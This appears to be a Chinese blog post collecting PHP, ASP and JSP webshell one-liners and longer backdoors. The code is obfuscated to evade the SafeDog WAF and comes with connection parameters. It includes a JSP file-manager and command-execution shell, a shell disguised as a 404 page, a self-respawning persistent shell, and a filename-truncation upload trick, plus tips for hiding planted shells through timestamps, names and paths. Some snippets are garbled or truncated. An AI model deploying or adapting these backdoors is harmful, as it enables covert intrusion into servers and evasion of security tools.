Web后门 一句话

找到了快照,记录之前所写的东西

过狗

其实过狗,反转函数,未知函数(自己挖),还有异或,基本也可以。

demo1

1
<?php ($_=@$_GET[2]).@$_($_POST[1])?>

连接方式:php?2=assert密码是1

demo2

1
2
3
<?php
($rcoil = $_POST['rcoil']) && @preg_replace('/ad/e','@'.str_rot13('riny').'($rcoil)', 'add');
?>

str_rot13(‘riny’)编码后为eval,完全避开了关键字,又不失效果,让人吐血!

demo3

具体举例使用自定义函数

1
2
3
4
5
<?php
funktion 我是函数(){
$a='eval'}
$b=我是函数(); $b($_POST("a"));
?>

eval这个函数封装到自定义函数的功能里 狗就不能查杀了,在函数功能里还要返回$a变量的值,return $a;

1
2
3
4
5
6
<?php
function abc($x){
@assert($x);
}
abc($_REQUEST['c']);
?>

return $a;这个写到大括号里,不然assert没返回的话 函数abc就不会等于assert
变量$$也可以过狗,利用的是变量覆盖

demo4

避免关键字

1
<?php @$_++;$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");@${$__}[!$_](${$__}[$_]);?>

post数据0=assert&1=phpinfo();

小结:

今天看到一篇文章,虽然是两年前,但是想法是对的。
其免杀方式在于,在固定区域生成随机名称变量,后借助str_replace拼合base64_decode,执行命令的过程
当然,这是在代码层面混淆视听以躲过扫描器

更常用的混淆视听的方法:

  • 修改文件时间
  • 改名融入上传后所在文件夹,让人无法直观看出文件异常
  • 文件大小的伪装处理(至少看起大小像个正常脚本)
  • 选好藏身路径并尽量少的访问
  • 畸形目录%20

经常用到的一句话(大叔)

PHP版本:

1
2
3
4
5
6
7
8
<?php
$a=chr(96^5);
$b=chr(57^79);
$c=chr(15^110);
$d=chr(58^86);
$e='($_REQUEST[C])';
@assert($a.$b.$c.$d.$e);
?>

ASP版本:

1
<%executeGlobal(StrReverse(Request(Chr(98))))%>

其配置为b=))99(rhC(tseuqeR+lave.

精简Jsp菜刀马

1
<%@page import="java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*"%><%!String Pwd="rcoil";String EC(String s,String c)throws Exception{return s;}Connection GC(String s)throws Exception{String[]x=s.trim().split("\r\n");Class.forName(x[0].trim()).newInstance();Connection c=DriverManager.getConnection(x[1].trim());if(x.length>2){c.setCatalog(x[2].trim())}return c}void AA(StringBuffer sb)throws Exception{File r[]=File.listRoots();for(int i=0;i"+"|").getBytes(),0,3);while((n=is.read(b,0,512))!=-1){os.write(b,0,n)}os.write(("|"+"<-").getBytes(),0,3);os.close();is.close()}void GG(String s,String d)throws Exception{String h="0123456789ABCDEF";int n;File f=new File(s);f.createNewFile();FileOutputStream os=new FileOutputStream(f);for(int i=0;i"+"|");if(Z.equals("A")){String s=new File(application.getRealPath(request.getRequestURI())).getParent();sb.append(s+"\t");if(!s.substring(0,1).equals("/")){AA(sb)}}else if(Z.equals("B")){BB(z1,sb)}else if(Z.equals("C")){String l="";BufferedReader br=new BufferedReader(new InputStreamReader(new FileInputStream(new File(z1))));while((l=br.readLine())!=null){sb.append(l+"\r\n")}br.close()}else if(Z.equals("D")){BufferedWriter bw=new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(z1))));bw.write(z2);bw.close();sb.append("1")}else if(Z.equals("E")){EE(z1);sb.append("1")}else if(Z.equals("F")){FF(z1,response)}else if(Z.equals("G")){GG(z1,z2);sb.append("1")}else if(Z.equals("H")){HH(z1,z2);sb.append("1")}else if(Z.equals("I")){II(z1,z2);sb.append("1")}else if(Z.equals("J")){JJ(z1);sb.append("1")}else if(Z.equals("K")){KK(z1,z2);sb.append("1")}else if(Z.equals("L")){LL(z1,z2);sb.append("1")}else if(Z.equals("M")){String[]c={z1.substring(2),z1.substring(0,2),z2};Process p=Runtime.getRuntime().exec(c);MM(p.getInputStream(),sb);MM(p.getErrorStream(),sb)}else if(Z.equals("N")){NN(z1,sb)}else if(Z.equals("O")){OO(z1,sb)}else if(Z.equals("P")){PP(z1,sb)}else if(Z.equals("Q")){QQ(cs,z1,z2,sb)}}catch(Exception e){sb.append("ERROR"+":// "+e.toString())}sb.append("|"+"<-");out.print(sb.toString());%>

404马

1
2
3
4
5
6
7
8
9
10
11
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
</body></html>
<?php
@preg_replace("/[pageerror]/e",$_POST['error'],"saft");
header('HTTP/1.1 404 Not Found');
?>

粗糙的内存马

1
2
3
4
5
6
7
8
9
10
11
<?php
ignore_user_abort(true);
ini_set('maxdb_execution_time', 0);
while (true) {
if(!file_exists('demo.php')){
$a="<?php @eval("."$"."_POST"."[tese])?>";
file_put_contents('demo.php',$a);
file_put_contents('demo', base64_decode());
}
}
?>

Linux截断马

1
2
3
4
5
<?php
$webpath = dirname(__FILE__)."/";
$a="<?php @eval("."$"."_POST"."[rcoil]);?>";
file_put_contents($webpath ."test.jpg".chr(9).".php", $a);
?> //test.jpg%09.php

最后列几个高级的PHP一句话木马后门

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
1、
$hh = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";
$hh("/[discuz]/e",$_POST['h'],"Access");
//菜刀一句话
2、
$filename=$_GET['xbid'];
include ($filename);
//危险的include函数,直接编译任何文件为php格式运行
3、
$reg="c"."o"."p"."y";
$reg($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]);
//重命名任何文件
4、
$gzid = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";
$gzid("/[discuz]/e",$_POST['h'],"Access");
//菜刀一句话
5、include ($uid);
//危险的include函数,直接编译任何文件为php格式运行,POST www.xxx.com/index.php?uid=/home/www/bbs/image.gif //gif插一句话
6、典型一句话
程序后门代码
<?php eval_r($_POST[sb])?>
程序代码
<?php @eval_r($_POST[sb])?>
//容错代码 程序代码
<?php assert($_POST[sb]);?>
//使用lanker一句话客户端的专家模式执行相关的php语句
程序代码
<?$_POST['sa']($_POST['sb']);?>
程序代码
<?$_POST['sa']($_POST['sb'],$_POST['sc'])?>
程序代码
<?php
@preg_replace("/[email]/e",$_POST['h'],"error");
?>
//使用这个后,使用菜刀一句话客户端在配置连接的时候在"配置"一栏输入
程序代码
<O>h=@eval_r($_POST1);</O>
程序代码
<script language="php">@eval_r($_POST[sb])</script>
//绕过<?限制的一句话

参考:
PHP一句话后门

!坚持技术分享,您的支持将鼓励我继续创作!